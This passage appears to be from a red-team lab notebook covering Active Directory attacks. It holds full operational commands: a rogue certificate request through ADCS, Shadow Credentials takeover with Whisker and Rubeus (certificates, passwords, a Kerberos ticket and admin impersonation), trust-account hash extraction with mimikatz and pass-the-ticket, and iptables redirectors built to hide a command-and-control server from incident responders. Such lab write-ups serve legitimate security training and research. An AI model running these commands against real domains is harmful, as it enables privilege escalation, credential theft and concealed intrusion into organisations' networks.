`Samaccountname` value in this file is defined in the variable `$adUserToImpersonate` - you'd need to change it to the administrator's `samaacountname` you want to impersonate.

Once the `cert.cnf` file is ready, generate the actual Certificate Signing Request with `openssl` (in Linux):

```
openssl req -out cert-request.csr -newkey rsa:2048 -nodes -keyout key.key -config cert.cnf
```

Below shows how a base64 encoded Certificate Signing Request file `cert-request.csr` was created:

![Certificate Signing Request being generated with open ssl](/files/39XTDonNj7KHfqTeaCrW)

Now, copy the contents of the `cert-request.csr` as we will need it in the last step of this process as described below.

### Requesting Certificate via CertSrv Web Portal

Navigate to `https://$adcs/certsrv`, where `$adcs` is the Active Directory Certificate Services host and click `Request a certificate`:

![Requesting certificates via ADCS web self service portal](/files/y1T09pIppZiJ3s0y90ry)

Click `advanced certificate request`:

![](/files/49NwzQ5G7UumoOy6I8Ij)

Finally, select the vulnerable certificate template you want to base your new rogue certificate on, paste the contents of the `cert-request.csr` into the request field and hit `Submit` to retrieve the new certificate for your target user:

![Portal for submitting advanced certificate request](/files/QoyxCKeZHyIBk4rVuo5V)

## References

{% embed url="<https://posts.specterops.io/certified-pre-owned-d95910965cd2>" %}

[Certified Pre-Owned: Abusing Active Directory Certificate Services](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)


# Shadow Credentials

Persistence, lateral movement

This is a quick lab to familiarize with a technique called [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) written about by [Elad Shamir](https://medium.com/@elad.shamir?source=post_page-----8ee1a53566ab--------------------------------). This technique allows an attacker to take over an AD user or computer account if the attacker can modify the target object's (user or computer account) attribute `msDS-KeyCredentialLink` and append it with alternate credentials in the form of certificates.

## Pre-requisites

Besides the ability to write the attribute `msDS-KeyCredentialLink` on a target user or computer, for this technique to work, the environment must be set up as follows:

* Domain must have Active Directory Certificate Services and Certificate Authority configured.
* Domain must have at least one DC running with Windows Server 2016 that supports PKINIT.

## User Account Take Over

### Overview

* `SAC1$` - is a computer account that is misconfigured and can be taken over. `Everyone` can edit its attribute `msDS-KeyCredentialLink`. This machine account is member of Domain Admins group, therefore this is the account that we will take over in this lab, effectively elevating privileges to Domain Admin.

![Everyone is allowed to write to SAC1$ computer account object](/files/CL3ymG9myRbMATySm9sH)

* `regular.user` - a low privileged user that we will use to execute the technique from.
* `user-server` - the computer from which the technique will be executed with privileges of `regular.user`.
* `first-dc` - domain controller that we will compromise using a compromised `sac1$` computer account.

### Walkthrough

Since `Everyone` is allowed to `WRITE` to the `SAC1$` computer account (as mentioned in the overview section), we can execute the technique from any low privileged user's security context and elevate privileges to `Domain Admin`.

Let's add the shadow credentials (remember, they will be added by modifying the `msDS-KeyCredentialLink` attribute) to the vulnerable computer account `sac1$` using a tool called [whisker](https://github.com/eladshamir/Whisker):

{% code title="<regular.user@first.local>" %}

```
Whisker.exe add /target:sac1$
```

{% endcode %}

Below shows that whisker successfully updated the `msDS-KeyCredentialLink` attribute and added the shadow credentials for that account.

At the same time, whisker spits out a `rubeus` command that we can then use against the target account `sac1$` to pull its TGT and/or reveal its NTLM hash (for use in Pass The Hash attacks):

![Adding shadow credentials to sac1$ computer account](/files/vUm9McYmB75o9AOJPEam)

After the shadow credential has been added to the account, we can confirm that the `msDS-KeyCredentialLink` was indeed added/written to:

{% code title="<regular.user@first.local>" %}

```
get-netcomputer sac1
```

{% endcode %}

![SAC1$ with shadow credential set in the attribute msDS-KeyCredentialLink](/files/dwEyrSH07guv6pWSSCJa)

We're now ready to take over the `sac1$` computer account and elevate to `Domain Admin`. Before that, let's confirm we cannot access the `c$` share on the domain controller `first-dc.first.local` with `regular.user` privileges:

![Attempt to list c$ on the domain controller before shadow credentials attack - fail](/files/Us48sZiESrhWubOFZVPl)

Let's now pull a TGT for `SAC1$` using the shadow credentials that we've just added and try accessing the `c$` on the domain controller `first-dc` once again:

{% code title="<regular.user@first.local>" %}

```
Rubeus.exe asktgt /user:sac1$ /certificate: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 /password:"FordjX0Vp2VSncVV" /domain:first.local /dc:First-DC.first.local /getcredentials /show /ptt
```

{% endcode %}

![Attempt to list c$ on the domain controller after shadow credentials attack - success](/files/UhM8iKQXa1H1vJztSPey)

## Computer Account Take Over

As mentioned earlier, computer accounts and therfore computers themselves can too be compromised using shadow credentials and this section shows how to do it.

### Overview

* `User-server2$` - AD computer object that is vulnerable - `Everyone` has full control over it. This is the computer we will take over and gain access to its administrative `c$` share.

![user-server2$ is over-permissioned and can be taken over by abusing Shadow Credentials](/files/PGEDW9uQkw1fjI3G7KVC)

* `User-server` - computer from which the technique will be executed.
* `Regular.user` - a low privileged user account logged on to `user-server`.

### Walkthrough

First step is the same as in the user account take over - add shadow credential to the target computer `user-server2$`:

```
Whisker.exe add /target:user-server2$
```

Once shadow credentials are added to `user-server2$`, let's pull its TGT:

```
Rubeus.exe asktgt /user:user-server2$ /certificate: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 /password:"ckXTY5LJOKKbG2TN" /domain:first.local /dc:First-DC.first.local /getcredententials /show /ptt /nowrap
```

![TGT is retrieved for user-server2$](/files/H1CgfqDKTgxlpYe1pM3G)

Before gaining administrative access over the computer `user-server2`, let's check we do not already have admin privileges there:

![Attempt to list c$ admin share fails](/files/GmwjJbK4LWEbQisZY8hF)

Let's now request a TGS for `admin@first.local` (domain admin) to the `CIFS` (SMB) service on the target computer `user-server2.first.local` that we want to take over and attempt listing its administrative `c$` once again:

```
Rubeus.exe s4u /dc:first-dc.first.local /ticket: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 /impersonateuser:admin@first.local /ptt /self /service:host/user-server2.first.local /altservice:cifs/user-server2.first.local
ls \\user-server2.first.local\c$
```

Below shows how the TGS is requested and imported to memory, which in turn enables our low privileged user `regular.user` to authenticate to the `user-server2.first.local` and list its `C$` share with an impersonated `Domain Admin` user `admin`:

![Computer Account Takeover with shadow credentials is successful](/files/zDZP2XlhX1XznjG43Rbi)

Below simply shows the TGS that we have in memory for accessing CIFS service on `user-server2.first.local` while impersonating `admin@first.local`:

![S4U2Self - CIFS service requested TGS to itself on behalf of first\admin](/files/fQ4x4eaNjbFQc6TGLq3L)

{% hint style="info" %}
**Operating from Linux**

If you're operating from a Linux box, you may execute the Shadow credentials technique using [pyWhisker](https://github.com/ShutdownRepo/pywhisker) (whisker ported to Python) by <https://twitter.com/_nwodtuhs>.
{% endhint %}

## References & Credits

{% embed url="<https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab>" %}

Thanks to <https://twitter.com/gladiatx0r> for correcting the environment pre-requisites and mentioning [pywhisker](https://github.com/ShutdownRepo/pywhisker).


# Abusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain

This is a quick lab to familiarize with a technique that allows accessing resources on a trusted domain from a fully compromised (Domain admin privileges achieved) trusting domain, by recovering the trusting `account$` (that's present on the trusted domain) password hash.

This lab is based on the great research here <https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted>, go check it out for more details and detection / prevention ideas.

## Overview

The environment for this lab is as follows:

| Resource               | Type              |                                                                                      |
| ---------------------- | ----------------- | ------------------------------------------------------------------------------------ |
| first-dc.first.local   | Domain Controller | Domain controller in the first.local domain                                          |
| second-dc.second.local | Domain Controller | Domain controller in the second.local domain                                         |
| first.local            | Domain            | This domain does not trust second.local domain, but second.local trusts this domain. |
| second.local           | Domain            | This domain trusts first.local domain, but first.local does not trust this domain.   |

In short, there is a one way trust relationship between `first.local` and `second.local`, where `first.local` does not trust `second.local`, but `second.local` trusts `first.local`. Or simply put in other words, it's possible to access resources from `first.local` on `second.local`, but not the other way around.

The technique in this lab, however, shows that it's still possible to access resources from `second.local` on `first.local` domain if `second.local` domain is compromised and domain admin privileges are obtained.&#x20;

This technique is possible, because once a trust relationship between domains is established, a trust account for the trusting domain is created in the trusted domain and it's possible to compromise that account's password hash, which enables an attacker to authenticate to the trusted domain with the trust account.

In our lab, considering that `first.local` is a trusted domain trusted by the trusting domain `second.local`, the trust account `first.local\second$` (user account `second$` in the domain `first.local`) will be created.&#x20;

`first.local\second$` is the trust account we want to and CAN compromise from the `second.local domain`, assuming we have domain admin privileges there.

Visually, this looks like something like this:

![Technique / attack diagram based on the one seen in https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted](/files/TSROmCKLFk1GkWhk0xGy)

## Checks

Let's check some of the things we touched on in the overview.&#x20;

Confirm the trust relationships between domains:

```
# on first-dc.first.local
get-adtrust -filter *
```

![](/files/dPApHXtZ0fSC765gZs3o)

```
# on second-dc.second.local
get-adtrust -filter *
```

![](/files/UzvNCL50pX1AeFmdnSUI)

Confirm that there's a trust account `second$` on `first.local` domain:

```
# on first-dc.first.local
get-aduser 'second$'
```

![](/files/u23OfivVakIvm9w7Ep82)

Confirm that we can enumerate resources on the trusting domain `second.local` from `first.local`:

```
# from first-dc.first.local
get-aduser -Filter * -Server second.local -Properties samaccountname,serviceprincipalnames | ? {$_.ServicePrincipalNames} | ft
```

![](/files/DYCDQCHBSmgmFgU84vsy)

Confirm that we cannot (just yet, but this is soon to change) enumerate resources on the trusted domain `first.local` from the trusting domain :

```
# on second-dc.second.local
get-aduser -Filter * -Server first.local -Properties samaccountname,serviceprincipalnames | ? {$_.ServicePrincipalNames} | ft
```

![](/files/c8DqszZrdZO9IVdA9niZ)

## Compromising Trust Account first.local\second$

As mentioned earlier, the main crux of the technique is that we're able to compromise the trust account `first.local\second$` if we have domain admin privileges on `second.local`.

To compromise the `first.local\second$` and reveal its password hash, we can use mimikatz like so:

```
# on second-dc.second.local
mimikatz.exe "lsadump::trust /patch" "exit"
```

![](/files/mGUVMTvIQ74ofw7qGn73)

Note the RC4 hash in `[out] first.local` -> `second.local` line - this is the NTLM hash for `first.local\second$` trust account, capture it.

## Requesting TGT for first.local\second$

Once we have the NTLM hash for `first.local\second$`, we can request its TGT from `first.local`:

```
#on second-dc.second.local
Rubeus.exe asktgt /user:second$ /domain:first.local /rc4:24b07e26ca7affb4ac061f6920cb57ec /nowrap /ptt
```

![](/files/xwu8OA9mN0VJC9muhb5m)

## Accessing Resources on First.local from Second.local

At this point on `second-dc.second.local`, we have a TGT for `first.local\second$` committed to memory and we can now start enumerating resources on `first.local` - and this concludes the technique, showing that it's possible to access resources on a trusted domain (as a low privileged user), given the trusting domain is compromised:

```
Get-ADUser roast.user -Server first.local -Properties * | select samaccountname, serviceprincipalnames
```

![](/files/aH4bTCM40animSCCBFHy)

## References

{% embed url="<https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted>" %}


# Red Team Infrastructure


# HTTP Forwarders / Relays

Concealing attacking hosts through with redirectors/traffic forwarders using iptables or socat

## Purpose

Re-directors or traffic forwarders are essentially proxies between the red teaming server (say the one for sending phishing emails or a C2) and the victim - `victim <> re-director <> team server`

The purpose of the re-director host is as usual:

* Obscure the red teaming server by concealing its IP address. In other words - the victim will see traffic coming from the re-director host rather than the team server.
* If incident responders detect suspicious activity originating from the redirector, it can be "easily" decommissioned and replaced with another one, which is "easier" than rebuilding the team server.

## HTTP Forwarding with iptables

I will explore simple HTTP forwarders which are just that - they simply listen on a given interface and port and forward all the traffic they receive on that port, to a listener port on the team server.

My environment in this lab:

* Team server and a listening port: `10.0.0.2:80`
* Re-director host and a listening port: `10.0.0.5:80`
* Victim host: `10.0.0.11`

An easy way to create an HTTP re-director is to use a Linux box and its iptables capability.&#x20;

Below shows how to turn a Linux box into an HTTP re-director. In this case, all the HTTP traffic to `10.0.0.5:80` (redirector) will be forwarded to `10.0.0.2:80` (team server) :

```csharp
iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.2:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1
```

Checking that the iptables rules were created successfully:

![](/files/-LNgYwYFPYwWwAiHGET_)

### Testing iptables

Let's simulate a simplified reverse shell from the victim system 10.0.0.11 to the attacking system 10.0.0.2 using our redirector system 10.0.0.5 as a proxy and inspect the traffic crossing over the wire - if the redirector was setup correctly, we should see that systems 10.0.0.11 and 10.0.0.2 will not be communicating directly - all the traffic will be flowing through the box at 10.0.0.5 and 10.0.0.2 (attacking system) will not be visible to the victim 10.0.0.11:

![](/files/-LNkzGUImVpeA331SSjv)

Having a closer look at the traffic/conversations between the endpoints, we can clearly see that at no point the victim system 10.0.0.11 communicated directly with the attacking system 10.0.0.2 - all communications were flowing through the redirector host 10.0.0.5 as described earlier:

![](/files/-LNkzI3tcZ1AnNOrrw76)

{% file src="/files/-LNl0-ucdX8Z\_-geWFzd" %}
Redirector Network Trace
{% endfile %}

## HTTP Forwarding with SOCAT

